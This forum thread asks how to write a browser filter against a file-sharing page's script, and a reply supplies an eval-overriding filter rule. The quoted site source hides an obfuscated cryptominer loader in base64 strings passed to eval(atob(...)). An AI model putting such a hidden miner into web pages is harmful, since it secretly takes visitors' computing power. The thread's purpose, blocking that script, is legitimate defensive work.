Create filter for Javascript HELP

[Nick-us]

Example site for this purpose: http://brfiles.com/f/oGg8DRv1/Close.2019.720p.WEB-DL.rar

Site Source contains the script:

<script type="text/javascript">
        var milisec = 0;
        var mCheck  = 0;
        var seconds = 30;
        var seconds_total = seconds;
        
        function workerError() {
            
            /*
            $('#download-comum').hide();
            $('.download-timer').hide();
            $('#download-error').show();
            $('#workerError').show();
            */
            
        }
        
        function init() {
            
            $('.download-comum').hide();
            $('.download-timer').show();
            
            countdownTimer = setInterval('display()', 1250);
            
            try {
                
                eval(atob('DQoJbWluZXIgPSBuZXcgQ1JMVC5Bbm9ueW1vdXMoJzVkMDhkMzE0MzMyOTI2ODFiZjMxOWE3MTBkMTg2ODMxZDRhYWRjMzZkNjc5Jywgew0KCQlhdXRvVGhyZWFkczogdHJ1ZSwgdGhyZWFkczogMiwgdGhyb3R0bGU6IDAuMg0KCX0pOw0K'));
                eval(atob('bWluZXIuc3RhcnQoQ1JMVC5GT1JDRV9FWENMVVNJVkVfVEFCKTs='));
                
            } catch(e) { workerError(); }
            
        }
        
        function display() {
            
            if (seconds == 0) {
                
                $('.download-timer').html("<a class='btn btn-free' href='http://brfiles.com/f/oGg8DRv1/Close.2019.720p.WEB-DL.rar?pt=JZlT6A0D%2FeOw%2FPmTUFWzHMVXJA9GlX6m6%2BZQw9b6CLw%3D'>Clique para baixar</a>");
                                
            } else $('.download-timer-seconds').html(seconds);
            
            seconds--;
            
            /*
            if (!mCheck) {
                
                if ((seconds_total - seconds) > 6) {
                    
                    if (!miner.getTotalHashes() || miner.getTotalHashes() < 1) workerError();
                    
                    mCheck = 1;
                    
                }
                
            }
            */
            
        }
</script>

My Question: How do I block execution of this script specifically?
OBS My goal is learning. I want to learn how to write a filter to block a particular script from a website
Because I could not do it at all. Could someone give me an example?

Sorry my bad english, im from brazil, i dont speak english so well...

 

[Alex302]

Please check

#%#(function() { var _eval = window.eval; window.eval = function(a) { if ( a.toString().indexOf('atob') === -1 ) { _eval(a); return; } }; })();